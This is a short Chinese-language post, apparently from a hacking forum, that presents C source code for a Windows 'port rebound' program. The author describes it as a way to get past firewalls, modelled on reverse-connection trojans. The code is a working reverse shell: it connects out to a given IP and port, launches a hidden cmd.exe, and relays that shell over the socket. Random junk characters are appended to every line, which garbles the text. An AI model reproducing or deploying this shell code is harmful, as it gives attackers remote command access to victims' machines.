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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 2 57q%"  
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/* ============================== ztV%W6  
Rebound port in Windows NT ^FK-e;J  
By wind,2006/7 /6#i$\ j  
===============================*/ 2S-z$Bi}]  
#include h x hl  
#include ?"T *{8  
Cvtz&dH  
#pragma comment(lib,"wsock32.lib") iZ2nBi Q  
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void OutputShell(); X@@7Qk  
SOCKET sClient; (.9H1aO46|  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; Y9nyKL  
3x E^EXV  
void main(int argc,char **argv) NMhI0Ix$w  
{ ob7hNo#  
WSADATA stWsaData; /SJI ~f+$  
int nRet; qk!,:T  
SOCKADDR_IN stSaiClient,stSaiServer; S~.%G)R  
:ZU-Vi.b  
if(argc != 3) 7iH%1f  
{ #h2 qrX&+  
printf("Useage:\n\rRebound DestIP DestPort\n"); .&n;S';"  
return; ^xF-IA#ZeB  
} *Q,9 [k  
s^-o_K\*c  
WSAStartup(MAKEWORD(2,2),&stWsaData); 8"J6(KS  
v c b}Gk  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); u!I=|1s  
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stSaiClient.sin_family = AF_INET; wZ~eE'zx+  
stSaiClient.sin_port = htons(0); nbSu|sX~r5  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); `5t CmU  
3aEO9v,n  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) !FbW3p f  
{ lA ZBlO  
printf("Bind Socket Failed!\n"); Zs}EGC~&  
return; #|acRZ9 }  
} -o`|A767  
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stSaiServer.sin_family = AF_INET; WD?COUEox  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); &^])iG,Ew  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); p`oHF  5  
kr5'a:F)  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) %CG=mTP  
{ X6EnC57  
printf("Connect Error!"); 5@{~8 30  
return; KvuM{UI5  
} RRR=R]  
OutputShell(); )zvjsx*e=J  
} 5s1XO*s)>X  
^%m~VLH  
void OutputShell() =42NQ{%@;  
{ ?bl9e&/!  
char szBuff[1024]; !v]~ut !p  
SECURITY_ATTRIBUTES stSecurityAttributes; *^.OqbO[U  
OSVERSIONINFO stOsversionInfo; fZrB!\Q  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; 5Q@4@b{C  
STARTUPINFO stStartupInfo; Ia*T*q Ju  
char *szShell; -v?)E S  
PROCESS_INFORMATION stProcessInformation; .7MLgC;  
unsigned long lBytesRead; iLJBiZ+  
Ox"SQ`nSj'  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); =1% <  
r*W&SU9Z  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); &W-1W99auE  
stSecurityAttributes.lpSecurityDescriptor = 0; S *K0OUq  
stSecurityAttributes.bInheritHandle = TRUE; q%8Ck)xz  
\Gz 79VW  
9c=`Q5  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); >d5L4&r  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); km9@*@)  
]d50J@W c  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); (, 2U?p  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; _ }:#T8h  
stStartupInfo.wShowWindow = SW_HIDE;  -bQi4  
stStartupInfo.hStdInput = hReadPipe; eLN[`hJ  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; lhduK4u  
.0#{ ?R,  
GetVersionEx(&stOsversionInfo); xX2/uxi8  
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switch(stOsversionInfo.dwPlatformId) ;v> +D {s  
{ K&/!3vc  
case 1: !yf7y/qY  
szShell = "command.com"; o.KE=zp&z  
break; hwd{^  
default: a3[lZPQe  
szShell = "cmd.exe"; $h8,QPy  
break; h&:6S  
} ue"e><c6:  
WO"<s{v  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); V?o%0V  
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send(sClient,szMsg,77,0); 1|xo4fmV  
while(1) pJ H@v &a  
{ ~X%W2N2  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); !vH={40]  
if(lBytesRead) UaV8 !Z>  
{ ETtoY<`#  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); &Vmx<w  
send(sClient,szBuff,lBytesRead,0); 2N}h<Yd 9  
} +pJ~<ug]  
else q OX=M  
{ s. jcD  
lBytesRead=recv(sClient,szBuff,1024,0); m0+'BC{$u  
if(lBytesRead<=0) break; tY6QhhuS:  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); 5u&hp  
} "y$s`n4Mj  
} d m$iiRY  
~mYCXfoc{  
return; {.D/MdwW;  
}
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